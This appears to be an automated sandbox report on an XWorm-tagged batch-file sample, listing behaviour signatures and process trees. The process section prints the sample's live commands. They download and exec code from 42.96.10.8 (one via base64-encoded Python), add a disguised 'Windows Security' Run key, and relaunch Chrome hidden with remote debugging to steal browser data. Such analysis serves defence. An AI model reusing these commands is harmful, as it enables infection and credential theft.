Malware Analysis Report

2024-12-07 19:17

Sample ID 241114-dnfwrstfjm
Target cc1695a2e481381f8e5d8a5bedc46e3e9c02f5644251a887898036408dc9bcbe.bat
SHA256 cc1695a2e481381f8e5d8a5bedc46e3e9c02f5644251a887898036408dc9bcbe
Tags
xworm credential_access discovery persistence rat spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

cc1695a2e481381f8e5d8a5bedc46e3e9c02f5644251a887898036408dc9bcbe

Threat Level: Known bad

The file cc1695a2e481381f8e5d8a5bedc46e3e9c02f5644251a887898036408dc9bcbe.bat was found to be: Known bad.

Malicious Activity Summary

xworm credential_access discovery persistence rat spyware stealer trojan

Xworm family

Xworm

Detect Xworm Payload

Uses browser remote debugging

Blocklisted process makes network request

Loads dropped DLL

Reads user/profile data of web browsers

Checks computer location settings

Executes dropped EXE

Adds Run key to start application

Looks up external IP address via web service

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Browser Information Discovery

Kills process with taskkill

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

Enumerates system info in registry

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-14 03:09

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-14 03:09

Reported

2024-11-14 03:11

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

151s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cc1695a2e481381f8e5d8a5bedc46e3e9c02f5644251a887898036408dc9bcbe.bat"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Xworm family

xworm

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A

Reads user/profile data of web browsers

spyware stealer

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Security = "C:\\Windows\\Explorer.EXE C:\\Users\\Admin\\AppData\\Local\\WindowsSecurity.lnk" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3227495264-2217614367-4027411560-1000\{F981693D-4533-4DE3-A257-705DC23696EA} C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4224 wrote to memory of 4868 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 4224 wrote to memory of 4868 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 4224 wrote to memory of 804 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 4224 wrote to memory of 804 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 804 wrote to memory of 348 N/A C:\Windows\system32\mshta.exe C:\Windows\system32\cmd.exe
PID 804 wrote to memory of 348 N/A C:\Windows\system32\mshta.exe C:\Windows\system32\cmd.exe
PID 348 wrote to memory of 112 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 348 wrote to memory of 112 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 348 wrote to memory of 2640 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 348 wrote to memory of 2640 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 348 wrote to memory of 4992 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 348 wrote to memory of 4992 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 348 wrote to memory of 4544 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 348 wrote to memory of 4544 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 348 wrote to memory of 3880 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 348 wrote to memory of 3880 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 348 wrote to memory of 1480 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 348 wrote to memory of 1480 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 348 wrote to memory of 2144 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 348 wrote to memory of 2144 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 348 wrote to memory of 4484 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 348 wrote to memory of 4484 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 348 wrote to memory of 1064 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 348 wrote to memory of 1064 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 348 wrote to memory of 1988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 348 wrote to memory of 1988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1988 wrote to memory of 4816 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe
PID 1988 wrote to memory of 4816 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe
PID 1988 wrote to memory of 4816 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe
PID 4816 wrote to memory of 3300 N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe C:\Windows\SysWOW64\taskkill.exe
PID 4816 wrote to memory of 3300 N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe C:\Windows\SysWOW64\taskkill.exe
PID 4816 wrote to memory of 3300 N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe C:\Windows\SysWOW64\taskkill.exe
PID 4816 wrote to memory of 4136 N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4816 wrote to memory of 4136 N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 656 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 656 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 2728 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 2728 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 4232 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 4232 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 1600 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 1600 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 4448 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 4448 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 3176 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 3176 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 4380 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4136 wrote to memory of 4380 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4816 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe C:\Windows\SysWOW64\taskkill.exe
PID 4816 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe C:\Windows\SysWOW64\taskkill.exe
PID 4816 wrote to memory of 2640 N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe C:\Windows\SysWOW64\taskkill.exe
PID 4816 wrote to memory of 844 N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4816 wrote to memory of 844 N/A C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 844 wrote to memory of 2412 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 844 wrote to memory of 2412 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 844 wrote to memory of 228 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 844 wrote to memory of 228 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 844 wrote to memory of 2924 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 844 wrote to memory of 2924 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 844 wrote to memory of 804 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 844 wrote to memory of 804 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 844 wrote to memory of 2020 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 844 wrote to memory of 2020 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 844 wrote to memory of 1368 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cc1695a2e481381f8e5d8a5bedc46e3e9c02f5644251a887898036408dc9bcbe.bat"

C:\Windows\system32\chcp.com

chcp 65001

C:\Windows\system32\mshta.exe

mshta vbscript:createobject("wscript.shell").run("""C:\Users\Admin\AppData\Local\Temp\CC1695~1.BAT"" ::",0)(window.close)

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CC1695~1.BAT" ::"

C:\Windows\system32\chcp.com

chcp 65001

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('http://42.96.10.8/envxfix.zip', [System.IO.Path]::GetTempPath() + 'xFSOj9El1Q.zip') "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $dst = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('LocalApplicationData'), 'xFSOj9El1Q'); Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst\*" } else { New-Item -ItemType Directory -Force $dst } ; [System.IO.Compression.ZipFile]::ExtractToDirectory([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'xFSOj9El1Q.zip'), $dst) "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $s = $payload = "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly80Mi45Ni4xMC44L1ZPSU5FX0JVJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))";$obj = New-Object -ComObject WScript.Shell;$link = $obj.CreateShortcut("$env:LOCALAPPDATA\WindowsSecurity.lnk");$link.WindowStyle = 7;$link.TargetPath = "$env:LOCALAPPDATA\xFSOj9El1Q\synaptics.exe";$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13";$link.Arguments = "-c `"$payload`"";$link.Save() "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows Security' -PropertyType String -Value 'C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\WindowsSecurity.lnk' -Force "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\cmd.exe

cmd.exe /c start "" "C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly80Mi45Ni4xMC44L1ZPSU5FX0JVJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))"

C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe

"C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly80Mi45Ni4xMC44L1ZPSU5FX0JVJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))"

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM chrome.exe

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffb3823cc40,0x7ffb3823cc4c,0x7ffb3823cc58

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1960,i,12305907298467029309,13911755663551556085,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1956 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-appcompat-clear --field-trial-handle=1764,i,12305907298467029309,13911755663551556085,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1984 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-appcompat-clear --field-trial-handle=2088,i,12305907298467029309,13911755663551556085,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2240 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2860,i,12305907298467029309,13911755663551556085,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2880 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2884,i,12305907298467029309,13911755663551556085,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2892 /prefetch:1

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

